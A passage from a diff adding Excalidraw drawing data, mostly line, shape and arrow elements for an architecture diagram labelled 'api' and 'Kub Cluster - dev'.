"points": [ + [ + 0, + 0 + ], + [ + 1.833772945566576, + -6.41820530948328 + ] + ] + }, + { + "type": "line", + "version": 1194, + "versionNonce": 365932768, + "index": "c0UdO", + "isDeleted": false, + "id": "Abw-elvmskIPBZI0bjKwa", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2403.1761461918554, + "y": -493.94694969399006, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 6.418205309483252, + "height": 2.4172461555196554, + "seed": 1162743224, + "groupIds": [ + "xZYGKapNjO9y_b4lgP4oN", + "EKoFjPxFZh_iaAqVZPOEU", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453351, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 6.418205309483252, + -2.4172461555196554 + ] + ] + }, + { + "type": "line", + "version": 1197, + "versionNonce": 644256992, + "index": "c0UdV", + "isDeleted": false, + "id": "TgZP039bvhbBi9sSDAKOl", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2407.260458661526, + "y": -481.36059902214674, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 8.418684886464801, + "height": 1.667066314151486, + "seed": 1018402488, + "groupIds": [ + "xZYGKapNjO9y_b4lgP4oN", + "EKoFjPxFZh_iaAqVZPOEU", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453351, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 8.418684886464801, + 1.667066314151486 + ] + ] + }, + { + "type": "line", + "version": 1195, + "versionNonce": 1249966304, + "index": "c0UdZ", + "isDeleted": false, + "id": "7xDiBvwC0as2umiyMouA4", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2404.4264459274673, + "y": -468.85760166601017, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 4.4177257325017, + "height": 5.417965520992358, + "seed": 545259448, + "groupIds": [ + "xZYGKapNjO9y_b4lgP4oN", + "EKoFjPxFZh_iaAqVZPOEU", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453351, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 4.4177257325017, + 5.417965520992358 + ] + ] + }, + { + "type": "line", + "version": 1187, + "versionNonce": 1169087712, + "index": "c0Udd", + "isDeleted": false, + "id": "ZB1JxhD_EDkvCj7YaY1HQ", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2392.0068018870397, + "y": -464.43987593350903, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 1.0002397884912422, + "height": 7.1683851508514485, + "seed": 14108856, + "groupIds": [ + "xZYGKapNjO9y_b4lgP4oN", + "EKoFjPxFZh_iaAqVZPOEU", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453351, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -1.0002397884912422, + 7.1683851508514485 + ] + ] + }, + { + "type": "line", + "version": 1189, + "versionNonce": 1770012896, + "index": "c0Udl", + "isDeleted": false, + "id": "Jiyo888D2HFZrPgt-Pb45", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2382.254463949253, + "y": -470.1912547173315, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 5.66802546811517, + "height": 6.418205309483252, + "seed": 1230860728, + "groupIds": [ + "xZYGKapNjO9y_b4lgP4oN", + "EKoFjPxFZh_iaAqVZPOEU", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453351, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -5.66802546811517, + 6.418205309483252 + ] + ] + }, + { + "type": "line", + "version": 1197, + "versionNonce": 1434789088, + "index": "c0Udp", + "isDeleted": false, + "id": "cYgwfi2yLL6hvohywLXuV", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2378.420211426704, + "y": -481.4439523378546, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 10.919284357692204, + "height": 0, + "seed": 1362524856, + "groupIds": [ + "xZYGKapNjO9y_b4lgP4oN", + "EKoFjPxFZh_iaAqVZPOEU", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453351, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -10.919284357692204, + 0 + ] + ] + }, + { + "type": "line", + "version": 1193, + "versionNonce": 927828192, + "index": "c0Udt", + "isDeleted": false, + "id": "hW2Rw3ULNvpj7qdHmeS8C", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2384.0048835791117, + "y": -493.5301831154529, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 6.418205309483252, + "height": 1.667066314151486, + "seed": 1795580856, + "groupIds": [ + "xZYGKapNjO9y_b4lgP4oN", + "EKoFjPxFZh_iaAqVZPOEU", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453351, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -6.418205309483252, + -1.667066314151486 + ] + ] + }, + { + "type": "ellipse", + "version": 1330, + "versionNonce": 174681312, + "index": "c0Ue", + "isDeleted": false, + "id": "y-oHALmpmt3V_PVGvwliv", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2385.6396064083165, + "y": -533.2446988100737, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 20.902438323372518, + "height": 21.172495666051674, + "seed": 1961962680, + "groupIds": [ + "mQKNd9dyOsIOiLXen3fkt", + "EKoFjPxFZh_iaAqVZPOEU", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453351, + "link": null, + "locked": false + }, + { + "type": "line", + "version": 1272, + "versionNonce": 1483264224, + "index": "c0Ue8", + "isDeleted": false, + "id": "CpDtfl-2VkCGzFAF1bYtU", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2396.1178313042706, + "y": -532.9206299988589, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 1.1882523077885643, + "height": 4.158883077260145, + "seed": 1754977720, + "groupIds": [ + "mQKNd9dyOsIOiLXen3fkt", + "EKoFjPxFZh_iaAqVZPOEU", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453351, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 1.1882523077885643, + -4.158883077260145 + ] + ] + }, + { + "type": "line", + "version": 1255, + "versionNonce": 2027664608, + "index": "c0UeG", + "isDeleted": false, + "id": "T7XHW44P2WNFFTNbb4-h-", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2403.0853107453945, + "y": -531.0302286001042, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 4.158883077260126, + "height": 1.566332587539521, + "seed": 1797742264, + "groupIds": [ + "mQKNd9dyOsIOiLXen3fkt", + "EKoFjPxFZh_iaAqVZPOEU", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453351, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 4.158883077260126, + -1.566332587539521 + ] + ] + }, + { + "type": "line", + "version": 1258, + "versionNonce": 1364334816, + "index": "c0UeV", + "isDeleted": false, + "id": "1zQLg2Q_562xcImYRuh02", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2405.7318727036522, + "y": -522.8744968511919, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 5.455158322120268, + "height": 1.0802293707169108, + "seed": 1564133304, + "groupIds": [ + "mQKNd9dyOsIOiLXen3fkt", + "EKoFjPxFZh_iaAqVZPOEU", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453351, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 5.455158322120268, + 1.0802293707169108 + ] + ] + }, + { + "type": "line", + "version": 1256, + "versionNonce": 358350048, + "index": "c0Ued", + "isDeleted": false, + "id": "TZNT7pW2yGNqYsAFrFBaj", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2403.895482773434, + "y": -514.7727765708146, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 2.8626078323999846, + "height": 3.51074545482998, + "seed": 1794707640, + "groupIds": [ + "mQKNd9dyOsIOiLXen3fkt", + "EKoFjPxFZh_iaAqVZPOEU", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453351, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 2.8626078323999846, + 3.51074545482998 + ] + ] + }, + { + "type": "line", + "version": 1248, + "versionNonce": 109666528, + "index": "c0Uel", + "isDeleted": false, + "id": "tzETG3_eW8xSENdpHcQ-i", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2395.847773961593, + "y": -511.91016873841454, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 0.6481376224303735, + "height": 4.644986294082755, + "seed": 470170040, + "groupIds": [ + "mQKNd9dyOsIOiLXen3fkt", + "EKoFjPxFZh_iaAqVZPOEU", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453351, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -0.6481376224303735, + 4.644986294082755 + ] + ] + }, + { + "type": "line", + "version": 1250, + "versionNonce": 879379680, + "index": "c0Uf", + "isDeleted": false, + "id": "lj1L6muIag6xScf9P9mOz", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2389.528432142897, + "y": -515.6369600673879, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 3.6727798604375725, + "height": 4.158883077260126, + "seed": 1669743288, + "groupIds": [ + "mQKNd9dyOsIOiLXen3fkt", + "EKoFjPxFZh_iaAqVZPOEU", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453351, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -3.6727798604375725, + 4.158883077260126 + ] + ] + }, + { + "type": "line", + "version": 1258, + "versionNonce": 1015982304, + "index": "c0UfG", + "isDeleted": false, + "id": "7Zy0pFsgfLTW81c1LczQ7", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2387.0439045902476, + "y": -522.9285083197276, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 7.075502378195748, + "height": 0, + "seed": 807218104, + "groupIds": [ + "mQKNd9dyOsIOiLXen3fkt", + "EKoFjPxFZh_iaAqVZPOEU", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453351, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -7.075502378195748, + 0 + ] + ] + }, + { + "type": "line", + "version": 1254, + "versionNonce": 176590048, + "index": "c0UfV", + "isDeleted": false, + "id": "KgvTZXac-wX6howzvANvP", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2390.662672982151, + "y": -530.7601712574246, + "strokeColor": "#228be6", + "backgroundColor": "transparent", + "width": 4.158883077260126, + "height": 1.0802293707169108, + "seed": 2079257784, + "groupIds": [ + "mQKNd9dyOsIOiLXen3fkt", + "EKoFjPxFZh_iaAqVZPOEU", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453351, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -4.158883077260126, + -1.0802293707169108 + ] + ] + }, + { + "type": "text", + "version": 1339, + "versionNonce": 400683232, + "index": "c0Ug", + "isDeleted": false, + "id": "7nzwgVBv", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2353.346268411784, + "y": -434.69854515783686, + "strokeColor": "#fff", + "backgroundColor": "transparent", + "width": 55.306220439054265, + "height": 50.15249347225876, + "seed": 1553964472, + "groupIds": [ + "EKoFjPxFZh_iaAqVZPOEU", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453351, + "link": null, + "locked": false, + "fontSize": 40.121994777807004, + "fontFamily": 1, + "text": "api", + "rawText": "api", + "textAlign": "center", + "verticalAlign": "top", + "containerId": null, + "originalText": "api", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "rectangle", + "version": 980, + "versionNonce": 741397728, + "index": "c0UgV", + "isDeleted": false, + "id": "sEEHuD0F_P7sCvE5xuxUB", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "dashed", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 1419.9807239103202, + "y": -694.9737508521114, + "strokeColor": "#0091e2", + "backgroundColor": "transparent", + "width": 1563.3108480603235, + "height": 404.43657643330806, + "seed": 995485624, + "groupIds": [ + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453351, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 2849, + "versionNonce": 486750432, + "index": "c0Uh", + "isDeleted": false, + "id": "ZTa1KeOL", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1589.3747342830293, + "y": -654.140012970812, + "strokeColor": "#343a40", + "backgroundColor": "transparent", + "width": 512.5004623703643, + "height": 72.80665892698461, + "seed": 414199992, + "groupIds": [ + "hiMb28MAlZstyQZopuRgW", + "gCgnYsdXmW8eWSiOhTj6K", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453351, + "link": null, + "locked": false, + "fontSize": 58.24532714158768, + "fontFamily": 1, + "text": "Kub Cluster - dev", + "rawText": "Kub Cluster - dev", + "textAlign": "left", + "verticalAlign": "top", + "containerId": null, + "originalText": "Kub Cluster - dev", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "image", + "version": 1208, + "versionNonce": 233381088, + "index": "c14r1", + "isDeleted": false, + "id": "gLfjqebXyEkalW6XT2K24", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2784.3825006447505, + "y": -1521.0604693742512, + "strokeColor": "transparent", + "backgroundColor": "transparent", + "width": 59.31260314165222, + "height": 59.31260314165222, + "seed": 144366520, + "groupIds": [ + "-LJVHF26U05mUxeNjY2H6", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453351, + "link": null, + "locked": false, + "status": "pending", + "fileId": "81f9bb5db816b95a6807fdda2a002845e40fd318", + "scale": [ + 1, + 1 + ] + }, + { + "type": "arrow", + "version": 2102, + "versionNonce": 126877984, + "index": "c14r2", + "isDeleted": false, + "id": "c8gOLhcsaDJ1YMKGXMby0", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2751.016109034942, + "y": -1485.0137322913306, + "strokeColor": "#343a40", + "backgroundColor": "#ced4da", + "width": 48.06323077613782, + "height": 49.15278711100987, + "seed": 1623677880, + "groupIds": [ + "8p0mmUKujXe3r6t5bW6HD", + "H_fh-Yaod7ICfIenzMUul", + "-LJVHF26U05mUxeNjY2H6", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453652, + "link": null, + "locked": false, + "startBinding": { + "elementId": "r2n_iI5FiItoCXHpwaMxR", + "focus": 0.5480754823155591, + "gap": 15.339925918575432 + }, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": "arrow", + "points": [ + [ + 0, + 0 + ], + [ + 2.028972029089371, + 16.102550061846934 + ], + [ + 42.16140273164426, + 19.643646888542072 + ], + [ + 48.06323077613782, + 49.15278711100987 + ] + ] + }, + { + "type": "arrow", + "version": 2143, + "versionNonce": 1412619552, + "index": "c14r3", + "isDeleted": false, + "id": "7n1qVY1g74uPLQarF3-tI", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2879.3940830878805, + "y": -1486.3287408879874, + "strokeColor": "#343a40", + "backgroundColor": "#ced4da", + "width": 47.38217418320537, + "height": 51.6856307575188, + "seed": 2010326200, + "groupIds": [ + "8p0mmUKujXe3r6t5bW6HD", + "H_fh-Yaod7ICfIenzMUul", + "-LJVHF26U05mUxeNjY2H6", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453652, + "link": null, + "locked": false, + "startBinding": { + "elementId": "jAgoJ0FxEc9AeyGu0WYUl", + "focus": -0.48679717574630543, + "gap": 13.071554289630171 + }, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": "arrow", + "points": [ + [ + 0, + 0 + ], + [ + -1.347915436156937, + 18.63539370835586 + ], + [ + -41.480346138711816, + 22.176490535051 + ], + [ + -47.38217418320537, + 51.6856307575188 + ] + ] + }, + { + "type": "line", + "version": 1496, + "versionNonce": 380618976, + "index": "c14r4", + "isDeleted": false, + "id": "W7BVxOtDgI89p1eMrrvgk", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2733.3500943019, + "y": -1550.8741483953663, + "strokeColor": "#000000", + "backgroundColor": "#fff", + "width": 51.75944168086124, + "height": 72.35758683957152, + "seed": 746442168, + "groupIds": [ + "jCrQquSbTeUIXHwhwEQxq", + "8p0mmUKujXe3r6t5bW6HD", + "H_fh-Yaod7ICfIenzMUul", + "-LJVHF26U05mUxeNjY2H6", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453351, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -0.2640787840858196, + 56.51285979440991 + ], + [ + 50.70312654451664, + 56.248781010323434 + ], + [ + 51.49536289677542, + -15.58064826107514 + ], + [ + 14.524333124731863, + -15.84472704516161 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1683, + "versionNonce": 1132702944, + "index": "c14r5", + "isDeleted": false, + "id": "euXJ_skXOBrqQKI_-Gbn2", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2730.8774958647473, + "y": -1549.040056911428, + "strokeColor": "#000000", + "backgroundColor": "#fff", + "width": 51.75944168086124, + "height": 72.35758683957152, + "seed": 669734584, + "groupIds": [ + "jCrQquSbTeUIXHwhwEQxq", + "8p0mmUKujXe3r6t5bW6HD", + "H_fh-Yaod7ICfIenzMUul", + "-LJVHF26U05mUxeNjY2H6", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453351, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -0.2640787840858196, + 56.51285979440991 + ], + [ + 50.70312654451664, + 56.248781010323434 + ], + [ + 51.49536289677542, + -15.58064826107514 + ], + [ + 14.524333124731863, + -15.84472704516161 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1419, + "versionNonce": 1950028000, + "index": "c14r6", + "isDeleted": false, + "id": "R1nmOui6KQFqffkh9tf6e", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2728.43381743692, + "y": -1547.205965427489, + "strokeColor": "#000000", + "backgroundColor": "#fff", + "width": 51.75944168086124, + "height": 72.35758683957152, + "seed": 1321189304, + "groupIds": [ + "jCrQquSbTeUIXHwhwEQxq", + "8p0mmUKujXe3r6t5bW6HD", + "H_fh-Yaod7ICfIenzMUul", + "-LJVHF26U05mUxeNjY2H6", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453351, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -0.2640787840858196, + 56.51285979440991 + ], + [ + 50.70312654451664, + 56.248781010323434 + ], + [ + 51.49536289677542, + -15.58064826107514 + ], + [ + 14.524333124731863, + -15.84472704516161 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1317, + "versionNonce": 1617294560, + "index": "c14r7", + "isDeleted": false, + "id": "AngKM2dDRNzFxX4NVQQEb", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2743.7503869139096, + "y": -1561.20214098405, + "strokeColor": "#000000", + "backgroundColor": "#ced4da", + "width": 13.468017988387276, + "height": 13.732096772473094, + "seed": 1360988344, + "groupIds": [ + "jCrQquSbTeUIXHwhwEQxq", + "8p0mmUKujXe3r6t5bW6HD", + "H_fh-Yaod7ICfIenzMUul", + "-LJVHF26U05mUxeNjY2H6", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453351, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -0.5281575681716392, + 13.732096772473094 + ], + [ + -13.468017988387276, + 13.732096772473094 + ] + ] + }, + { + "type": "rectangle", + "version": 1314, + "versionNonce": 1301567712, + "index": "c14r8", + "isDeleted": false, + "id": "794oUggXB5eLmVKPzWlZ7", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2742.9581505616516, + "y": -1543.508862450285, + "strokeColor": "transparent", + "backgroundColor": "#868e9644", + "width": 26.40787840860291, + "height": 5.545654465806139, + "seed": 984428984, + "groupIds": [ + "jCrQquSbTeUIXHwhwEQxq", + "8p0mmUKujXe3r6t5bW6HD", + "H_fh-Yaod7ICfIenzMUul", + "-LJVHF26U05mUxeNjY2H6", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453351, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 1335, + "versionNonce": 1331051744, + "index": "c14r9", + "isDeleted": false, + "id": "JpIJctVMskDpn_OpSHP5n", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2743.0974199560314, + "y": -1532.5065802946074, + "strokeColor": "transparent", + "backgroundColor": "#868e9644", + "width": 26.40787840860291, + "height": 5.545654465806139, + "seed": 42875576, + "groupIds": [ + "jCrQquSbTeUIXHwhwEQxq", + "8p0mmUKujXe3r6t5bW6HD", + "H_fh-Yaod7ICfIenzMUul", + "-LJVHF26U05mUxeNjY2H6", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453351, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 1367, + "versionNonce": 121348320, + "index": "c14rA", + "isDeleted": false, + "id": "DTqC4bAFYO7BrX7hUHzwk", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2742.9581505616516, + "y": -1523.3651312168677, + "strokeColor": "transparent", + "backgroundColor": "#868e9644", + "width": 26.40787840860291, + "height": 5.545654465806139, + "seed": 459678648, + "groupIds": [ + "jCrQquSbTeUIXHwhwEQxq", + "8p0mmUKujXe3r6t5bW6HD", + "H_fh-Yaod7ICfIenzMUul", + "-LJVHF26U05mUxeNjY2H6", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453352, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 1394, + "versionNonce": 1691649248, + "index": "c14rB", + "isDeleted": false, + "id": "wCxgRdKslfBkZYi4DkaXD", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2742.9581505616516, + "y": -1514.7587858487632, + "strokeColor": "transparent", + "backgroundColor": "#868e9644", + "width": 26.40787840860291, + "height": 5.545654465806139, + "seed": 56159416, + "groupIds": [ + "jCrQquSbTeUIXHwhwEQxq", + "8p0mmUKujXe3r6t5bW6HD", + "H_fh-Yaod7ICfIenzMUul", + "-LJVHF26U05mUxeNjY2H6", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [ + { + "id": "c8gOLhcsaDJ1YMKGXMby0", + "type": "arrow" + } + ], + "updated": 1720441453352, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 